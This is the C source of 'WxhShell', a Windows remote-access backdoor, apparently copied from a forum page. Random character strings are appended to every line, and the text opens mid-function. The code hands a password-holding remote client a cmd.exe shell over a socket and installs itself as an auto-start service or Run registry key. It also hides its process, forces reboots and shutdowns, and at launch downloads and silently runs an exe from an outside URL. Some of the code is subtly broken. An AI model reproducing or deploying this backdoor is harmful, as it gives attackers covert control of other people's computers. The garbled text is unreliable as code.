    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YyF=u~l  
    if(Boot(SHUTDOWN)) l-} );zH74  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ITtg?]F  
    else { V"r2 t9A  
    closesocket(wsh); ^J[r<Dm8F  
    ExitThread(0); wB~5&:]jr  
    } (9_O ||e e  
    break; 'on8r*  
    } 1 po.Cmx  
  // 获取shell _tJm0z!  
  case 's': { y\M Kd[G7  
    CmdShell(wsh); }3Mnq?.-  
    closesocket(wsh); UP})j.z  
    ExitThread(0); `F^~*FnR,B  
    break; _@gd9Fi7J  
  } 3G;#QK -c  
  // 退出 whoQA}X>  
  case 'x': { T08SGB]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m! 3e>cI  
    CloseIt(wsh); uE]kv  
    break; z+k[HE^S  
    } a9"1a'  
  // 离开 {?zBc E:  
  case 'q': { <uYeev%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mF@)l]UZ'  
    closesocket(wsh); 'Y%@fZf x  
    WSACleanup(); p:/#nmC<  
    exit(1); z :q9~  
    break; ?4^8C4  
        } G|h@O'  
  } 8q5 `A Gl  
  } I_k!'zR[N  
sb3k? q  
  // 提示信息 :|V`QM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fGz++;b<S  
} N Qdz]o  
  } jk\04k  
I=DvP;!  
  return; L  (#DVF  
} ALOS>Bi&  
: CR1Oy9  
// shell模块句柄 gl$Ks+o d  
int CmdShell(SOCKET sock) tS@J)p+_(  
{ P#ro;3S3y  
STARTUPINFO si; 0&@pD`K e  
ZeroMemory(&si,sizeof(si)); 6~rO(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @7fx0I'n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [l7 G9T}/[  
PROCESS_INFORMATION ProcessInfo; F70_N($i  
char cmdline[]="cmd"; _x&fK$Y)B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0Gr^#`  
  return 0; M#?^uu'  
} t'.oty=  
NF0=t}e  
// 自身启动模式 i"HENJyCb  
int StartFromService(void) p#  4@  
{ ~dm/U7B:  
typedef struct ?vd_8C2B  
{ @8jc|X<A  
  DWORD ExitStatus; .R<Ke\y/  
  DWORD PebBaseAddress; KBO{ g:"  
  DWORD AffinityMask; ~ZN]2}  
  DWORD BasePriority; ]%4rL S  
  ULONG UniqueProcessId; ?;c&5'7ct  
  ULONG InheritedFromUniqueProcessId; CB1AL]|3  
}   PROCESS_BASIC_INFORMATION; S7A[HG;  
p^(gXzW  
PROCNTQSIP NtQueryInformationProcess; 5IsRIz[`TK  
y=H\Z/=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^-|yF2>`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >JWW2<  
}p <p(  
  HANDLE             hProcess; <.l$jW]  
  PROCESS_BASIC_INFORMATION pbi; \kQ@G  
[:MpOl-KIz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JBCJVWUt  
  if(NULL == hInst ) return 0; +1] xmnts  
YdT-E  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qOi3`6LCV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); '~Z#h  P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /P8`)?f~y  
vA(')"DDT  
  if (!NtQueryInformationProcess) return 0;  Du*O|  
] SErM#$*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R\+O.vX  
  if(!hProcess) return 0; u40k9vh  
ju@5D h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #3L=\j[ y  
2Y+8!4^L a  
  CloseHandle(hProcess); bN',-[E  
s)e'}y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %~ROV>&  
if(hProcess==NULL) return 0; DW,fh8w  
 B3Yj  
HMODULE hMod; wU|Y`wJmF  
char procName[255]; Q%AD6G(7  
unsigned long cbNeeded; ?_NhR   
aK ly1G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); TN=MZ{L  
ke(LjRS  
  CloseHandle(hProcess); wJ| wAS  
9=-!~ _'1-  
if(strstr(procName,"services")) return 1; // 以服务启动 jq4{UW'  
),K!| 7#h  
  return 0; // 注册表启动 >#MGGCGL  
} n,Z B-"dW  
(:p&[HNuN  
// 主模块 54A ndyeA  
int StartWxhshell(LPSTR lpCmdLine) & q(D90w.  
{ mxpncM=q  
  SOCKET wsl; Z~.3)6,z  
BOOL val=TRUE; o~Im5j],*  
  int port=0; FDHa|<oz  
  struct sockaddr_in door; D/jS4'$vA  
?\7 " A  
  if(wscfg.ws_autoins) Install(); [y>;  
@nJ#kd[  
port=atoi(lpCmdLine); }v[$uT-q  
,UdTUw~F  
if(port<=0) port=wscfg.ws_port; JvHGu&Nr!  
8bB'[gJ]{  
  WSADATA data; l6X\.oI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +^c;4-X 0  
]< 0|"NL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S*o%#ZJN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hr8v O"tZN  
  door.sin_family = AF_INET; ]hBp elKJ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /^E2BRI  
  door.sin_port = htons(port); 6 ]@H.8+  
W*hRYgaX3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RhG9Xw9  
closesocket(wsl); =$B:i>z<  
return 1; +G3&{#D ?  
} [Ng#/QXk{  
+fd^$Qd%K  
  if(listen(wsl,2) == INVALID_SOCKET) { T(<C8  
closesocket(wsl); iBy:HH  
return 1; xj/ +Z!,9  
} npH2&6Yhi^  
  Wxhshell(wsl); 3|Q:tt'|#  
  WSACleanup(); Rld1pX2v  
bBkF,`/f$  
return 0; ta*B#2D>  
?qviJDD|f  
} ?hh 4M  
2 $^n@<uZ@  
// 以NT服务方式启动 a_YE[6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'IweN  
{ n"dC]&G'  
DWORD   status = 0; Uhc2`r#q  
  DWORD   specificError = 0xfffffff; \v7M`! &  
G"bItdb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d v@B-l;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m4{F-++dk  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ">}l8MA  
  serviceStatus.dwWin32ExitCode     = 0; TOo0rcl  
  serviceStatus.dwServiceSpecificExitCode = 0; W'2|hP  
  serviceStatus.dwCheckPoint       = 0; he0KzwBF  
  serviceStatus.dwWaitHint       = 0; m$xL#omD  
9 ve q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (&4aebkZO  
  if (hServiceStatusHandle==0) return; ZPWY0&9  
=PiDZS^"  
status = GetLastError(); s+>VqyHgf  
  if (status!=NO_ERROR) d]0.6T1[K  
{ %EYh5 W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k:nR'TI  
    serviceStatus.dwCheckPoint       = 0; |:SBkM,  
    serviceStatus.dwWaitHint       = 0; =(ts~^  
    serviceStatus.dwWin32ExitCode     = status; q1sK:)Hu+  
    serviceStatus.dwServiceSpecificExitCode = specificError; L+7j4:$B8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wt4uzg8  
    return; 9^Q:l0|  
  } E~5r8gM,0  
i $H aE)qZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N.OC _H&  
  serviceStatus.dwCheckPoint       = 0; TIbqUR  
  serviceStatus.dwWaitHint       = 0; ]w.:K*_=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); AAjsb<P  
} Be+CV">2  
oR>o/$z$)g  
// 处理NT服务事件,比如:启动、停止 \x i wp.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J&w%lYiu5  
{ !uLW-[F,  
switch(fdwControl) ZcgSVMqEX  
{ Fx2z lM&  
case SERVICE_CONTROL_STOP: Ml)~%ZbF  
  serviceStatus.dwWin32ExitCode = 0; d:C-   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vdrV)^  
  serviceStatus.dwCheckPoint   = 0; )=TD}Xb  
  serviceStatus.dwWaitHint     = 0; YRF%].A%2  
  { :9N~wd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EotZ$O=  
  } 9E^IEwq'  
  return; 2'_xg~  
case SERVICE_CONTROL_PAUSE: [OBj2=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /%Lj$]S7[4  
  break; z"8%W?o>  
case SERVICE_CONTROL_CONTINUE: EzOO6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xg %EQ  
  break; S0nBX"$u  
case SERVICE_CONTROL_INTERROGATE: \D(6t!Ox  
  break; ,:UoE  
}; hW[/{2<@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AVyO5>w  
} \tTZ N  
I=X-e#HM?  
// 标准应用程序主函数 ,<*n>W4|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |>a sGP  
{ @mBZu!,  
M7{w7}B0@  
// 获取操作系统版本 PeGL Rbx34  
OsIsNt=GetOsVer(); CrC1&F\dq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [<P(S~J  
}N^.4HOS8  
  // 从命令行安装 z/u;afB9q  
  if(strpbrk(lpCmdLine,"iI")) Install(); |r5 np  
kx8\]'  
  // 下载执行文件 $6.CN#  
if(wscfg.ws_downexe) { 3 RG*:9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r# MJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3a #2 }  
} $}&Y$w>S  
<4S Y'-w  
if(!OsIsNt) { 3Z#k9c_b  
// 如果时win9x,隐藏进程并且设置为注册表启动 :GXiA  
HideProc(); XB,  2+  
StartWxhshell(lpCmdLine); 8 hx4N  
} d:*,HzG  
else (@*[^@ipV  
  if(StartFromService()) t%Hg8oya  
  // 以服务方式启动 OW1i{  
  StartServiceCtrlDispatcher(DispatchTable); n{JBC%^g  
else <6g{vNA  
  // 普通方式启动 dC8 $Ql^<  
  StartWxhshell(lpCmdLine); Rhh5r0 \5  
"&*O7cs$pA  
return 0; p`:hY`P  
} p2 u*{k{  
s<VNW  
GJN"43  
m` ^o<V&  
=========================================== 8A/"ia  
_7r<RZ  
Zg1=g_xY  
QcJ?1GwA"  
?g gl8bzA  
S]&f+g}&w  
" FJo  ?~  
4ti\;55{W  
#include <stdio.h> vAWJP_;J  
#include <string.h> =Hplg>h)  
#include <windows.h> Xkc y~e  
#include <winsock2.h> ax$ashFO/!  
#include <winsvc.h>  >d-By  
#include <urlmon.h> ggQ/_F8u  
\6o%gpUkD  
#pragma comment (lib, "Ws2_32.lib") _N!L?b83P  
#pragma comment (lib, "urlmon.lib") +(n&>7 5  
Sy|fX_i  
#define MAX_USER   100 // 最大客户端连接数 ~L\KMB/9e=  
#define BUF_SOCK   200 // sock buffer j"6r]nc&  
#define KEY_BUFF   255 // 输入 buffer zOJ4I^^  
T-e'r  
#define REBOOT     0   // 重启 Q@]~O-  
#define SHUTDOWN   1   // 关机 Wno{&I63  
0#1hkJ"  
#define DEF_PORT   5000 // 监听端口 K|JpkEw  
-]yM<dP  
#define REG_LEN     16   // 注册表键长度 q"){P RTm/  
#define SVC_LEN     80   // NT服务名长度 |R$V[  
.*\TG/x  
// 从dll定义API E4;vC ?K{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }-YM>q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J>_|hg=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SSG57N-T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @BQJKPF*  
j9Qd 45  
// wxhshell配置信息 Bgb~Tz'  
struct WSCFG { .*FBr7rE\  
  int ws_port;         // 监听端口 |v,%!p s  
  char ws_passstr[REG_LEN]; // 口令 Gy}WZ9{  
  int ws_autoins;       // 安装标记, 1=yes 0=no co!o+jP  
  char ws_regname[REG_LEN]; // 注册表键名 "^M/iv(  
  char ws_svcname[REG_LEN]; // 服务名 = iJfz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RcJ.=?I!  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 bY` b3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  TA;r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h8 Wv t's  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" d^uE4F}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _0HCtx ;  
Qm9r>m6p@N  
}; %[3?vX  
>O0z+tj  
// default Wxhshell configuration R=Qa54  
struct WSCFG wscfg={DEF_PORT, 2;8I0BH*'  
    "xuhuanlingzhe", :+?eF^ 5  
    1, 7 2Zp%a=  
    "Wxhshell", sA^_I6>M"  
    "Wxhshell", X8(H#Ef[  
            "WxhShell Service", wY$'KmNW  
    "Wrsky Windows CmdShell Service", }jL_/gvgy  
    "Please Input Your Password: ", 5&Y%N(  
  1, Cu2eMUGt  
  "http://www.wrsky.com/wxhshell.exe", 6?B'3~ r  
  "Wxhshell.exe" ^wnlZ09J  
    }; cXcrb4IKD  
s,z$Vt"h*K  
// 消息定义模块 SynL%Y9)|,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ajr);xd  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;i;2cq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |ZJ<J)y  
char *msg_ws_ext="\n\rExit."; v3zd>fDnRp  
char *msg_ws_end="\n\rQuit."; <[*%d~92z  
char *msg_ws_boot="\n\rReboot..."; yM_ta '^$  
char *msg_ws_poff="\n\rShutdown..."; f{i~hVF  
char *msg_ws_down="\n\rSave to "; Ai*R%#  
30BFwNE  
char *msg_ws_err="\n\rErr!"; *8I+D>x  
char *msg_ws_ok="\n\rOK!"; DHI%R<  
J&hzr t  
char ExeFile[MAX_PATH]; zcqv0lM '  
int nUser = 0; ,Wbr; zb  
HANDLE handles[MAX_USER]; jH5VrN*Q  
int OsIsNt; wSV}{9}wr%  
4z;@1nN_8a  
SERVICE_STATUS       serviceStatus; kzkrvC+u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H$@5\pP>  
t[r<&1[&  
// 函数声明  L- '{   
int Install(void); B,x ohT  
int Uninstall(void); ]3KMFV}  
int DownloadFile(char *sURL, SOCKET wsh); fen~k#|l  
int Boot(int flag); <2.87:  
void HideProc(void); y^u9Ttf{  
int GetOsVer(void); -22]|$f  
int Wxhshell(SOCKET wsl); eb ` !  
void TalkWithClient(void *cs); :cE6-Fv  
int CmdShell(SOCKET sock); }CM</  
int StartFromService(void);  S6d&w6  
int StartWxhshell(LPSTR lpCmdLine); -%G}T}"_  
.="/n8B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qN=l$_UD  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VG=mA4Dd  
7{BTtUMAC  
// 数据结构和表定义 78MQoG<  
SERVICE_TABLE_ENTRY DispatchTable[] = >N bb0T  
{ _\ &N<  
{wscfg.ws_svcname, NTServiceMain}, K*/X{3J;  
{NULL, NULL} A &tMj?  
}; qlU"v)Mx  
m>:zwz< ;  
// 自我安装 f(*ygI  
int Install(void) ]ZI ?U<0  
{ xb (Cd  
  char svExeFile[MAX_PATH]; *NjjFk=R  
  HKEY key; C f(g  
  strcpy(svExeFile,ExeFile); \UEO$~Km  
vmGGdj5aI  
// 如果是win9x系统,修改注册表设为自启动 -Pt']07E  
if(!OsIsNt) { e h6\y7 9g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X+%5q =N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x-@}x@n&[  
  RegCloseKey(key); 05ZF>`g*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - %'ys  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "q]r{0  
  RegCloseKey(key); R^f-j-$o]  
  return 0; 84f~.45  
    } N]dsGvX  
  } 5faY{;8  
} xV\mS+#  
else { *p.70,5,  
mM;5UPbZ  
// 如果是NT以上系统,安装为系统服务 HxnWM\p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tPz!C&.=  
if (schSCManager!=0) 2PDU(R  
{ LSlYYyt  
  SC_HANDLE schService = CreateService o/\f+iz7  
  ( %SC%#_7  
  schSCManager, %4I13|<A`  
  wscfg.ws_svcname, !)//b]  
  wscfg.ws_svcdisp, wqE+hKs,  
  SERVICE_ALL_ACCESS, zy\R>4i'#Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , slH3c:j\  
  SERVICE_AUTO_START, %|o2d&i  
  SERVICE_ERROR_NORMAL, #,jw! HO]  
  svExeFile, Y q(CD!  
  NULL, 48g`i  
  NULL, 1MYA/l$  
  NULL, `&/~%>  
  NULL, bPMkBm  
  NULL EF5:$#  
  ); @q++eGm\Q  
  if (schService!=0) PlC8&$   
  { bo_Tp~ j  
  CloseServiceHandle(schService); SadffAvSA{  
  CloseServiceHandle(schSCManager); Nu4PY@m]C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); q6AL}9]9  
  strcat(svExeFile,wscfg.ws_svcname); @mm~i~~KA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8I)}c1j`v  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R.)w l  
  RegCloseKey(key); 3x3 =ke!  
  return 0; "jA?s9  
    } Sc,a jT  
  } ~Blsj9a2  
  CloseServiceHandle(schSCManager); ",>,t_J  
} $e/[!3CASP  
} %WO4uOi:@  
GSaU:A  
return 1; jrLV\(p  
} hw)#TEt   
O]-s(8Oo3  
// 自我卸载 ^w+)A;?W  
int Uninstall(void) TBu[3X%  
{ Xb\de_8!  
  HKEY key; "[Hn G(gA  
dW} m44X  
if(!OsIsNt) { >O/1Lpl.3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]h 4r@L3  
  RegDeleteValue(key,wscfg.ws_regname); 2e*"<>aeq  
  RegCloseKey(key); ZK$<"z6{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0;n}{26a  
  RegDeleteValue(key,wscfg.ws_regname); C~q&  
  RegCloseKey(key); Rw]lW;EN<  
  return 0; L`n Ma   
  } bd[%=5  
} s%Irh;Bs  
} atYe$Db  
else { o@@, }  
/;9iDjG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [z> Ya-uz7  
if (schSCManager!=0) jPA^SxM  
{ VB&`g<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D !5 {CQl  
  if (schService!=0) R,f"2 k  
  { =, G^GMi'  
  if(DeleteService(schService)!=0) { ]mdO3P  
  CloseServiceHandle(schService); r"_SL!,^  
  CloseServiceHandle(schSCManager);  >Q% FW  
  return 0; F,/yK-9  
  } /^Ng7Mi!  
  CloseServiceHandle(schService); 1`v$R0 `!  
  } U2HAIV8  
  CloseServiceHandle(schSCManager); CaqqH`/E4  
} a1 .+L  
} L6n<h  
qJq!0F  
return 1; M~LYq  
} ix!4s613w  
o*Kl`3=]  
// 从指定url下载文件 'RzzLk|$  
int DownloadFile(char *sURL, SOCKET wsh) eiwPp9[08  
{ &09g0K66  
  HRESULT hr; WeE1 \  
char seps[]= "/"; bXRSKp[$  
char *token; 1rGi"kdf  
char *file; SnFAv7_  
char myURL[MAX_PATH]; N= {0A  
char myFILE[MAX_PATH]; E%vT(Kz  
H&h"!+t(#  
strcpy(myURL,sURL); f3"sKL4|  
  token=strtok(myURL,seps); r"W,G /;h  
  while(token!=NULL) H:!pFj  
  { W}rLHAaDh  
    file=token; ;`:A(yN]T  
  token=strtok(NULL,seps); z%~rQa./$  
  } |$ &v)  
xF])NZy|  
GetCurrentDirectory(MAX_PATH,myFILE); -,^Z5N#\|  
strcat(myFILE, "\\"); `PI?RU[g*  
strcat(myFILE, file); [28Vf"#]  
  send(wsh,myFILE,strlen(myFILE),0); 8Q\ T,C  
send(wsh,"...",3,0); 53O}`xX!6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); |eEXCn3{  
  if(hr==S_OK) j5V{,lf  
return 0; `&5_~4T7  
else s]Qo'q2  
return 1; <jIuVX  
<z R CT  
} }E&48$0h  
^Q5advxuq  
// 系统电源模块 7 jiy9 [  
int Boot(int flag) 5 ]l8l+  
{ EVW\Z 2N.  
  HANDLE hToken; @JU Xp  
  TOKEN_PRIVILEGES tkp; JE ''Th}  
@nxpcHj  
  if(OsIsNt) { '-M9v3itC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tjj-8cg  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EN;4EC7tE  
    tkp.PrivilegeCount = 1; ;kR+jC(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `IH*~d]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3eR c>^wh  
if(flag==REBOOT) { iKA}??5e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,FWsgqL{l  
  return 0; =} flmUv~  
} @ w?,7i-S  
else { ;(Kj-,>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]qO*(m:}o  
  return 0; "`Y.5.  
} UKzXz0  
  } =.2)wA"e'  
  else { ]oizBa@?G  
if(flag==REBOOT) { yyc4'j+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &2,^CG  
  return 0; |)+45e  
} )| 0(#R  
else { X{tfF!+iy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  %&pd`A/  
  return 0; _FP'SVa}D  
} SshjUNx  
} g-DFcwO,V  
w<Ot0&&  
return 1; I;+>@Cn(g<  
} y@9ifFr  
+ ;_0:+//  
// win9x进程隐藏模块 k`NXYf:  
void HideProc(void) |C}=  1  
{ _NN5e|t  
A O3MlK9t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _6]c f!H  
  if ( hKernel != NULL ) 9"f  
  { /5m~t.Z9M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (\H^ KEy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |Pq z0n=v  
    FreeLibrary(hKernel); m4,inA:o  
  } hGb SN_F  
yQE9S+%M  
return; u+qj_Ej  
} *&tv(+P  
HiSNEp$-4$  
// 获取操作系统版本 ^c?$$Tq  
int GetOsVer(void) PZk"!I<oN  
{  J7p?9  
  OSVERSIONINFO winfo; 0`Y"xN`'i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ] D+'Ao^'  
  GetVersionEx(&winfo); 2-beq<I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J=Hyoz+9  
  return 1; ="P&!lu  
  else >j)y7DSE  
  return 0; 8SoTABHV  
} V=)' CCi{  
f[-$##S.~  
// 客户端句柄模块 lK3{~ \J-  
int Wxhshell(SOCKET wsl) 'wVi>{?  
{ wW|[Im&  
  SOCKET wsh; ? u~?:a@K  
  struct sockaddr_in client; K(rWM>Jv  
  DWORD myID; TV~S#yg+H  
q z8Jvgu?  
  while(nUser<MAX_USER) o "1X8v  
{ y=LN| vkQ  
  int nSize=sizeof(client); 4rUOk"li  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); s^HI%mdf  
  if(wsh==INVALID_SOCKET) return 1; +lZvj=gW  
B}^l'p_u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9{8xMM-  
if(handles[nUser]==0)  I}u&iV`  
  closesocket(wsh); JzmX~|=Xi  
else [}`-KpV!;  
  nUser++; ;nAI;Qw L  
  } PLRMW 2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k1~? }+<e  
Zw_'u=r >  
  return 0; sE!$3|Q  
} f47dB_{5f.  
lsKQZ@LN`  
// 关闭 socket q,>4#J[2;s  
void CloseIt(SOCKET wsh) Q-Oj%w4e  
{ _FkIg>s  
closesocket(wsh); ]|_+lik#  
nUser--; ftD(ed  
ExitThread(0); E <\\/Q%w  
} , FR/X/8  
_2w8S\  
// 客户端请求句柄 Fhga^.5U&  
void TalkWithClient(void *cs) q_Z6s5O  
{ $ EexNz  
6 tl#AJ-  
  SOCKET wsh=(SOCKET)cs; ;),vUu,k  
  char pwd[SVC_LEN]; ^Vg-fO]V  
  char cmd[KEY_BUFF]; aUq 2$lw1  
char chr[1]; s&1}^'|  
int i,j; }z5u^_-m  
VcLzv{  
  while (nUser < MAX_USER) { <YvW /x  
#]r'?GN  
if(wscfg.ws_passstr) { +#9 4 X)*  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #U.6HBuQa  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Y(=A HmR  
  //ZeroMemory(pwd,KEY_BUFF); f /t`B^}@  
      i=0; wK0],,RN,h  
  while(i<SVC_LEN) { h)Ol1[y`  
(Ta(Y=!uq  
  // 设置超时 !,R=6b$E5  
  fd_set FdRead; yw >Frb5p  
  struct timeval TimeOut; u{S"NEc  
  FD_ZERO(&FdRead); \LM.>vJ  
  FD_SET(wsh,&FdRead); p# |} o9  
  TimeOut.tv_sec=8; N v6=[_D  
  TimeOut.tv_usec=0; 4+MaV<!tU^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u}89v1._Jn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z=oGyA  
a3L-q>h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o{3>n" \w3  
  pwd=chr[0]; OoQLR  
  if(chr[0]==0xd || chr[0]==0xa) { 9-!GYa'Z  
  pwd=0; tac\Ki?  
  break; "[0.a\ d<  
  } A_crK`3  
  i++; ^Hz1z_[X@  
    } 8vQR'<,  
<`WcI`IA b  
  // 如果是非法用户,关闭 socket |,tKw4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0~ o,^AW  
} 7"1]5\p^g  
T3@34}*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;,s9jw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vU$n*M1`$  
e'->Sg  
while(1) { =|dHD  
b@O{eQB  
  ZeroMemory(cmd,KEY_BUFF); y9.?5#aL  
rU6A^p\,  
      // 自动支持客户端 telnet标准   wo;OkJKF  
  j=0; ]E6r )C  
  while(j<KEY_BUFF) { v-wZHkdd1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p(nEcu  
  cmd[j]=chr[0]; !(gSXe)*  
  if(chr[0]==0xa || chr[0]==0xd) { [s{[ .0P]+  
  cmd[j]=0; mtdy@=?1Y  
  break; zO@>)@~  
  } 3R-5&!i  
  j++; Vcnc=ct  
    } Q>71uM%e`  
`3`.usw  
  // 下载文件 3W{ !\  
  if(strstr(cmd,"http://")) { ( 4# iLs  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E^$8nqCL:  
  if(DownloadFile(cmd,wsh)) ".2d{B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _EJPI  
  else ~@(C+3,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4c[/%e:\-  
  } CD%Cb53  
